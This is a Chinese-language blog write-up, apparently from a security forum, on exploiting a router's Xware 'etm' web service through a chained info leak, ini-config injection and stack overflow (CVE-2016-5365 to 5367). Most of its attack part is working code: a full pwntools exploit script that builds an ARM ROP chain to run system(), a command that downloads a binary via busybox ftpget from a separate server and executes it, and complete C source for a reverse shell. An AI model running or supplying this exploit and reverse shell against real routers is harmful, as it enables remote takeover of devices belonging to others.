Pwn a ARM Router Step by Step

admin / 2018-03-20 10:13:21 / 浏览数 39086 安全技术 漏洞分析 顶(1) 踩(0)

Author : Dlive

1. 调试环境配置

本次调试分析的漏洞是长亭科技在某届GeekPwn上提交的路由器漏洞

该路由器的系统为嵌入式ARM Linux, 路由器中集成了Xware程序，本文中的漏洞为Xware的漏洞

我们可以找到存在漏洞的固件版本，固件的下载链接可以在官方论坛上找到

使用binwalk解包

```
# dlive @ pwn in /tmp [14:25:56]
$ binwalk -Me XXXV100R001C01B032SP03_main.bin

Scan Time:     2018-03-13 14:26:08
Target File:   /tmp/XXXV100R001C01B032SP03_main.bin
MD5 Checksum:  f8fc51edfc499d98297da3cb9ed20f13
Signatures:    386

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
67022         0x105CE         Squashfs filesystem, little endian, version 4.0, compression:xz, size: 10486308 bytes, 1100 inod
10556878      0xA115CE        uImage header, header size: 64 bytes, header CRC: 0x6FE316DA, created: 2016-02-16 02:03:53, imag
10556942      0xA1160E        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 38397


Scan Time:     2018-03-13 14:26:10
Target File:   /tmp/_XXXV100R001C01B032SP03_main.bin.extracted/A1160E
MD5 Checksum:  5ccfdaa38810b2974367a3b3ffe06ff5
Signatures:    386

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
106107        0x19E7B         LZMA compressed data, properties: 0xC0, dictionary size: 0 bytes, uncompressed size: 64 bytes
1345893       0x148965        Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
1346017       0x1489E1        Certificate in DER format (x509 v3), header length: 4, sequence length: 1288
2719004       0x297D1C        Linux kernel version 2.6.30
2994752       0x2DB240        CRC32 polynomial table, little endian
3009084       0x2DEA3C        CRC32 polynomial table, little endian
3470319       0x34F3EF        xz compressed data
3537774       0x35FB6E        Unix path: /etc/nginx/conf/domain.dat
3552266       0x36340A        Neighborly text, "neighbor %.2x%.2x.%.2x:%.2x:%.2x:%.2x:%.2x:%.2x lost on port %d(%s)(%s)"


Scan Time:     2018-03-13 14:26:12
Target File:   /tmp/_XXXV100R001C01B032SP03_main.bin.extracted/_A1160E.extracted/19E7B
MD5 Checksum:  3b5d3c7d207e37dceeedd301e35e2e58
Signatures:    386

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
```

解包成功之后，在squashfs-root目录下我们可以看到路由器的文件系统如下

```
# dlive @ pwn in /tmp/_XXXV100R001C01B032SP03_main.bin.extracted/squashfs-root [14:27:34]
$ ls -la
total 64
drwxr-xr-x 16 dlive dlive 4096  2■ 16  2016 .
drwxrwxr-x  4 dlive dlive 4096  3■ 13 14:26 ..
drwxrwxrwx  2 dlive dlive 4096  2■ 16  2016 bin
drwxr-xr-x  2 dlive dlive 4096 12■ 23  2015 config
drwxrwxrwx  3 dlive dlive 4096  2■ 16  2016 dev
drwxrwxrwx  8 dlive dlive 4096  2■ 16  2016 etc
```

```
drwxr-xr-x  3 dlive dlive 4096  2■ 16  2016 home
drwxr-x---  2 dlive dlive 4096  2■ 16  2016 html
lrwxrwxrwx  1 dlive dlive   13  2■ 16  2016 init -> ./bin/busybox
drwxrwxrwx  4 dlive dlive 4096  2■ 16  2016 lib
lrwxrwxrwx  1 dlive dlive    3  2■ 16  2016 lib64 -> lib
lrwxrwxrwx  1 dlive dlive   11  2■ 16  2016 linuxrc -> bin/busybox
drwxrwxrwx  2 dlive dlive 4096 12■ 23  2015 mnt
drwxrwxrwx  2 dlive dlive 4096 12■ 23  2015 proc
drwxrwxrwx  2 dlive dlive 4096  2■ 16  2016 sbin
drwxr-xr-x  2 dlive dlive 4096 12■ 23  2015 sys
drwxr-xr-x  2 dlive dlive 4096 12■ 23  2015 tmp
drwxrwxrwx  6 dlive dlive 4096  2■ 16  2016 usr
drwxrwxrwx  3 dlive dlive 4096  2■ 16  2016 var
```

根据长亭科技文章的描述，我们可以通过搜索特征字符串的方式找到存在漏洞的binary：/bin/etm

找到binary之后，使用qemu+chroot执行etm二进制文件，发现无法直接执行

```
# dlive @ pwn in ~/Desktop/IoT/case-study/1-ARM-huwei_XXX/XXX/squashfs-root [14:30:21] C:125
$ sudo chroot ./ ./qemu-arm-static ./bin/etm
[sudo] password for dlive:
log.ini not exist!
logger_load_cfg log.ini fail:102301
etm_init_env fail:102301
```

那么接下来我们看一下启动这个二进制文件需要什么样的环境和参数

通过搜索对/bin/etm文件的调用，我们发现/bin/etm是由/etc/etm_monitor.sh启动的，/etc/etm_monitor.sh接收一个参数

/etc/etm_monitor.sh由/etc/xunlei.sh启动，/etc/xunlei.sh启动同样需要一个参数

/etc/xunlei.sh由/bin/cms启动，启动参数为624X

通过对这几个文件分析，我们可以得到etm的启动参数

并且通过对文件系统中配置文件的搜索，我们发现etm的配置文件存在于/etc目录下

所以最终etm的启动参数如下

```
./bin/etm --system_path=/etc --disk_cfg=/etc/thunder_mounts.cfg --etm_cfg=/etc/etm.ini --log_cfg=/etc/log.ini --pid_file=/etc/
```

我是使用树莓派进行调试的，树莓派上使用的是官方系统，在树莓派本机上可以完美调试

将gdbserver的动态链接库直接拷贝到路由器的文件目录下，然后使用chroot+gdb/gdbserver调试

```
sudo chroot ./ ./gdbserver :1234 ./bin/etm --system_path=/etc --disk_cfg=/etc/thunder_mounts.cfg --etm_cfg=/etc/etm.ini --log_
```

也可以使用qemu启动etm并开启gdb远程调试(可使用IDA或gdb调试)，远程端口1234

```
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/etm --system_path=/etc --disk_cfg=/etc/thunder_mounts.cfg --etm_cfg=/etc/etm.in
```

本次调试的时候使用了一个改良过的gdb peda插件 https://github.com/kelwin/peda

远程调试：

```
gdb bin/etm
(gdb-peda) target remote 127.0.0.1:1234
```

2. 漏洞分析

对这样一个路由器上的二进制Web Server逆向分析的话注意以下几点可以提高分析效率

1. 关注无需认证即可接触到的功能，关注用户输入，以便减少分析量
2. 对于TCP Server，关注bind/listen/recv的使用，关注用户输入
3. 对于UDP Server，关注bind/recvfrom的使用，关注用户输入
4. 对于已知协议的Server，比如HTTP Server，关注一些协议关键词，如: GET/POST/Cookie
5. 动态调试结合静态分析，关注数据流+控制流

2.1 逻辑分析

我们先大概看一下这个二进制的Web Server的整体逻辑

程序保留了部分符号，可以辅助分析，从main函数可以看出，一开始程序做了一系列的初始化和配置工作，然后才进入etm_start

在etm_initialize中调用了lc_initialize函数，在该函数中初始化了http的路由

可以从下面代码得到所有可通过HTTP访问的路径

（下面的变量名是经过重命名之后的变量名，下面截图不全，大家可以自己在IDA中看到所有的路径）

我们可以通过URL访问以下可知这确实是Web Server存在的功能路径

在前面我们有说到，可以重点关注无需认证即可接触到的功能来减少分析工作量，所以我们可以依次访问上面的路径来确定该功能是否可以在未登录状态下访问

未登录状态下可访问的路径有：login、settings、logout、stophunter、speedlimit等

然后我们分析主逻辑，看程序是怎么处理这些路径对应的请求的

在etm_start中我们能明显看到创建线程的操作，这很符合我们对Server的认识，即sub_82b24为HTTP请求处理函数

lc_start和之前的lc_initialize对应，应该是启动服务的函数

lc_initialize中有几个函数指针，其中包含了Http数据包处理函数HttpHandler（重命名后的函数名）

在HttpHandler中，我们就可以找到处理各种HTTP请求的逻辑了，然后即可对应每种请求进行详细分析

2.2 snprintf导致信息泄露(CVE-2016-5367)

信息泄露漏洞存在于下图代码（处理login请求时，调用的sub_A7704函数）中对于snprintf返回值的误用

snprintf的返回值不是最终写入buffer的数据长度，而是假设没有0x100的长度限制下统计的数据长度

即该返回值的大小有可能大于0x100

当返回值大于0x100时，返回给客户端的数据长度大于buffer的长度，即将buffer之后的数据也返回给了客户端

而这部分数据(堆数据)中包含了libc基址

2.3 ini配置注入(CVE-2016-5366)

同样是在login功能中，程序获取到HTTP请求中的Cookie中对应键的值

然后通过set_huiyuan_info和set_huiyuan_check_info将获取到的信息设置到内存中的etm_cfg中

setting_flush函数将etm_cfg中的数据按一定格式写入到etm.ini文件中

可以看到在保存配置时(下图)，即写入到配置文件时是直接拼接字符串然后写入，对于可能影响配置文件语义的"\n"未做特殊处理

于是可能导致配置文件注入。

比如可以通过在jumpkey的值之后加入\n\n进而加入进行的配置项[license]和server_addr

2.4 栈溢出(CVE-2016-5365)

存在栈溢出的地方在license_start函数中，该函数调用了parse_server_addr来解析etm.ini中的server_addr

但是我们可以明显在下面的代码中看到，在做字符串拷贝时代码没有做任何限制，直接导致了栈溢出

其中字符串拷贝的目标缓冲区dest是license_start函数的局部变量

在之前分析路由器整体功能时我们知道，/stopthunder功能不需要登录即可访问

在访问/stopthunder后，/bin/etm进程停止，etm_monitor.sh脚本会监控/bin/etm进程状态，然后重启进程

当进程重启后加载配置文件etm.ini时，发送缓冲区溢出

3. exp开发

3.1 badchars

在开发利用代码之前，我们先看一下程序开启的保护措施

```
$ checksec etm
[*] '/mnt/hgfs/case-study/1-ARM-huwei_XXX/exploit/etm'
   Arch:     arm-32-little
```

```
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8000)
```

程序开启了NX保护，所以我们要通过ROP来执行代码

另外需要注意的是，虽然没有开启ASLR保护，但是每次路由器重新启动会导致libc加载基址改变

所以才需要之前的Info Leak漏洞来泄露libc基址

在编写ROP之前，我们需要知道ROP中不可使用的字符

1. \x00
   - \x00会截断攻击者的输入，\x00之后的内容不会被写入etm.ini配置文件
2. 分号；
   - 分号作为cookie的分隔符，具有特殊含义，同样会截断攻击者输入
3. 换行 \n
   - 在配置文件中每个配置项是通过\n分割，所有\n通用会截断攻击者输入

针对\x00限制的解决方案是，我们可以使用libc中的gadgets来进行ROP，因为libc常被加载于高地址内存

3.2 ARM ROP

构造ROP的思路是调用system函数执行命令来下载reverse shell，然后在路由器执行reverse shell，进而拿到路由器的控制权

路由器上的命令都是由busybox提供，功能有限，经过对这些命令的研究，我发现ftpget可用于下载文件

通过下面的命令可以从10.101.170.30(ftpserver)上下载reshell到本地/bin/reshell

```
/bin/busybox ftpget -g -l /bin/reshell -r reshell 10.101.170.30
```

ROP gadgets可以使用ROPgadget工具来寻找

ARM汇编可以参考：https://www.anquanke.com/post/id/86383

这里讲解一下我们在编写这个漏洞利用代码时使用到的ARM汇编

从栈上pop出r0, lr，然后bx跳转到lr。这个gadget用于设置寄存器的值

```
0x00053a10 pop {r0, lr} ; bx lr;
```

将r0中的值写入r4指向的内存中，然后从栈上pop出r4和lr，然后bx跳转到lr

这个gadget用于将寄存器中的值写入.data段，可用于构造要执行的命令字符串

```
0x0002E4F8 str r0, [r4] ; pop {r4, lr} ; bx lr
```

在使用gadgets向.data写入数据时不能写入\x00，所以需要使用"||"将要执行的命令和.data段后面的垃圾数据隔离

最终需要写入.data的字符串为

```
/bin/busybox ftpget -g -l /bin/reshell -r reshell 10.101.170.30 && chmod +x /bin/reshell && /bin/reshell ||
```

3.3 reverse tcp backdoor

参考github上别人写的bind shell写了个reverse shell，下面是reshell的代码

直接gcc静态编译即可

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define REMOTE_ADDR "1.1.1.1"
#define REMOTE_PORT    9999

// Thanks to OsandaMalith's Bind Shell
// https://gist.github.com/OsandaMalith/a3b213b5e7582cf9aac3
```

```
int main() {
   int i, s = 0;
   char *banner = "[~] Welcome to @Dlive's Reverse Shell\n";
   char *args[] = { "/bin/busybox", "sh", (char *) 0 };
   struct sockaddr_in sa;
   socklen_t len = 0;

   sa.sin_family = AF_INET;
   sa.sin_port = htons(REMOTE_PORT);
   sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);

   s = socket(AF_INET, SOCK_STREAM, 0);

   connect(s, (struct sockaddr *)&sa, sizeof(sa));

   for(; i <3 ; i++) dup2(s, i);

   write(s , banner , strlen(banner));

   execve("/bin/busybox", args, (char *) 0);

   return 0;
}
```

4. 攻击演示

```
from pwn import *
import sys

HOST = sys.argv[1]
# HOST = '10.101.168.170'
PORT = 9000

# COMMAND = 'echo 1 > /etc/1.txt'
COMMAND = '/bin/busybox ftpget -g -l /bin/reshell -r reshell 10.101.170.30 && chmod +x /bin/reshell && /bin/reshell'

elf = ELF('./etm')
# this libc is libuClibc-0.9.32.1-git.so
libc = ELF('./libc.so.0')
context.log_level = 'debug'

def http_req(path, cookie=None):
   http_req = 'GET {} HTTP/1.1\r\n'.format(path)
   http_req += 'Host: {}:{}\r\n'.format(HOST, PORT)
   if cookie:
       http_req += 'Cookie: {}\r\n'.format(cookie)
   http_req += '\r\n'
   print http_req
   return http_req


# -------- leak uclibc address -------
p = remote(HOST, PORT)

url = '/login?callback={}'.format('A'*0x200)

p.send(http_req(url))

http_rsp = p.recvall()

libc.address = u32(http_rsp[0x108:0x108+4]) - 0x65dac

print '[+]libc address: ', hex(libc.address)

raw_input('#DEBUG#')

print http_rsp
```

```
# ----------  etm.ini injection ---------

p = remote(HOST, PORT)

def generate_payload(command):

   print '[+]command is ', command

   command += ' ||'     # do not use ';' to connect command. beause ';' is separator of cookie value

   for j in range(20):
       data = p32(libc.address + 0x00061288 + j)

       # 0x00053a10 pop {r0, lr} ; bx lr;
       pop_r0_lr_bx_lr = p32(libc.address + 0x00053a10)
       # 0x0002b3d0 pop {r4, lr} ; bx lr ;
       pop_r4_lr_bx_lr = p32(libc.address + 0x0002b3d0)
       # 0x0002E4F8 str r0, [r4] ; pop {r4, lr} ; bx lr
       str_r0_r4_pop_r4_lr_bx_lr = p32(libc.address + 0x0002E4F8)

       payload  = cyclic(176)                              # padding

       # write command to .data
       for i in range(len(command) / 4):
           payload += pop_r4_lr_bx_lr
           payload += p32(u32(data) + i * 4)                # r3 = .data
           payload += pop_r0_lr_bx_lr
           payload += command[i*4:(i+1)*4].ljust(4,'B')     # r0 = command[0:4]
           payload += str_r0_r4_pop_r4_lr_bx_lr             # [r4] = r0
           payload += 'AAAA'                                # padding

       # call system
       payload += pop_r0_lr_bx_lr
       payload += data
       payload += p32(libc.symbols['system'])


       if ('\x00' not in payload) and (';' not in payload) and ('\n' not in payload):
           return payload
   return False

payload = generate_payload(COMMAND)

if not payload:
   print '[-]Can not Generate Payload'
   sys.exit(-1)

cookie = "isvip=0; jumpkey=A\n\n[license]\nserver_addr={}; usernick=B; userid=1".format(payload)

url = '/login?userID=A&clientID=A&scope=1&token=1&v=1'

p.send(http_req(url, cookie))

http_rsp = p.recvall()

print http_rsp

# ---------- restart ----------------
raw_input('#DEBUG#')

p = remote(HOST, PORT)

url = '/stopthunder'

p.send(http_req(url))

http_rsp = p.recvall()

print http_rsp
```

5. 参考资料

1. 实战栈溢出：三个漏洞搞定一台路由器
   https://zhuanlan.zhihu.com/p/26271959

上一篇：警惕！PowershellMine... 下一篇：深入分析Facebook网站上的存...

1. 0 条回复
   - 动动手指，沙发就是你的了！